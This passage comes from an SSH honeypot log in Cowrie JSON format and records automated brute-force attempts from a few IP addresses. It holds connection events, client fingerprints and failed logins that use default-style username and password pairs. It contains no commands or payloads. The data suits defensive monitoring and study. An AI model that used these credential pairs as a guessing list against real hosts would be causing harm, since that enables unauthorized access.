0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:31.404827Z","src_ip":"213.209.159.158","session":"024bef5cfb6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appadmin","password":"appadmin","message":"login attempt [appadmin/appadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:32.929176Z","src_ip":"213.209.159.158","session":"024bef5cfb6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:34.333263Z","src_ip":"213.209.159.158","session":"024bef5cfb6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":34918,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2ae7e3c858f","protocol":"ssh","message":"New connection: 213.209.159.158:34918 (10.17.0.5:22) [session: b2ae7e3c858f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:34.427135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:34.741174Z","src_ip":"213.209.159.158","session":"b2ae7e3c858f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:34.744295Z","src_ip":"213.209.159.158","session":"b2ae7e3c858f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami","message":"login attempt [bitnami/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:36.798308Z","src_ip":"213.209.159.158","session":"b2ae7e3c858f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:38.192426Z","src_ip":"213.209.159.158","session":"b2ae7e3c858f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":34924,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5953083153c","protocol":"ssh","message":"New connection: 213.209.159.158:34924 (10.17.0.5:22) [session: f5953083153c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:38.270746Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49470,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e606b82718b","protocol":"ssh","message":"New connection: 2.57.122.238:49470 (10.17.0.5:22) [session: 3e606b82718b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:38.593667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:38.598898Z","src_ip":"2.57.122.238","session":"3e606b82718b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:38.608904Z","src_ip":"213.209.159.158","session":"f5953083153c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:38.612658Z","src_ip":"213.209.159.158","session":"f5953083153c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:38.704791Z","src_ip":"2.57.122.238","session":"3e606b82718b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:39.015742Z","src_ip":"2.57.122.238","session":"3e606b82718b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:40.121391Z","src_ip":"2.57.122.238","session":"3e606b82718b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"achim","password":"achim","message":"login attempt [achim/achim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:40.348692Z","src_ip":"213.209.159.158","session":"f5953083153c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:41.675827Z","src_ip":"213.209.159.158","session":"f5953083153c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62612,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cf4c3e62edd","protocol":"ssh","message":"New connection: 213.209.159.158:62612 (10.17.0.5:22) [session: 2cf4c3e62edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:41.819585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:42.196314Z","src_ip":"213.209.159.158","session":"2cf4c3e62edd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:42.199618Z","src_ip":"213.209.159.158","session":"2cf4c3e62edd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"azureuser123","message":"login attempt [azureuser/azureuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:43.568002Z","src_ip":"213.209.159.158","session":"2cf4c3e62edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:45.039752Z","src_ip":"213.209.159.158","session":"2cf4c3e62edd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62626,"dst_ip":"10.17.0.5","dst_port":22,"session":"553eb1c3ad83","protocol":"ssh","message":"New connection: 213.209.159.158:62626 (10.17.0.5:22) [session: 553eb1c3ad83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:45.129961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:45.396668Z","src_ip":"213.209.159.158","session":"553eb1c3ad83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:45.399415Z","src_ip":"213.209.159.158","session":"553eb1c3ad83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"2","password":"2","message":"login attempt [2/2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:46.864742Z","src_ip":"213.209.159.158","session":"553eb1c3ad83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:48.214179Z","src_ip":"213.209.159.158","session":"553eb1c3ad83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":62642,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac68bd7267c2","protocol":"ssh","message":"New connection: 213.209.159.158:62642 (10.17.0.5:22) [session: ac68bd7267c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:48.292883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:48.610728Z","src_ip":"213.209.159.158","session":"ac68bd7267c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:48.614085Z","src_ip":"213.209.159.158","session":"ac68bd7267c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"voxility","password":"voxility","message":"login attempt [voxility/voxility] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:49.903761Z","src_ip":"213.209.159.158","session":"ac68bd7267c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:51.213752Z","src_ip":"213.209.159.158","session":"ac68bd7267c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13120,"dst_ip":"10.17.0.5","dst_port":22,"session":"1271b56b2462","protocol":"ssh","message":"New connection: 213.209.159.158:13120 (10.17.0.5:22) [session: 1271b56b2462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:51.326585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:51.560072Z","src_ip":"213.209.159.158","session":"1271b56b2462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:51.563076Z","src_ip":"213.209.159.158","session":"1271b56b2462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"A123456","message":"login attempt [bitrix/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:52.722670Z","src_ip":"213.209.159.158","session":"1271b56b2462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:53.995081Z","src_ip":"213.209.159.158","session":"1271b56b2462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":13134,"dst_ip":"10.17.0.5","dst_port":22,"session":"056a847c1d3e","protocol":"ssh","message":"New connection: 213.209.159.158:13134 (10.17.0.5:22) [session: 056a847c1d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:54.078220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:54.302489Z","src_ip":"213.209.159.158","session":"056a847c1d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:54.305481Z","src_ip":"213.209.159.158","session":"056a847c1d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":36434,"dst_ip":"159.203.135.109","dst_port":22,"session":"17c28b09cc59","protocol":"ssh","message":"New connection: 92.118.39.95:36434 (159.203.135.109:22) [session: 17c28b09cc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:55.119100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:26:55.123083Z","src_ip":"92.118.39.95","session":"17c28b09cc59","protocol":"ssh"}
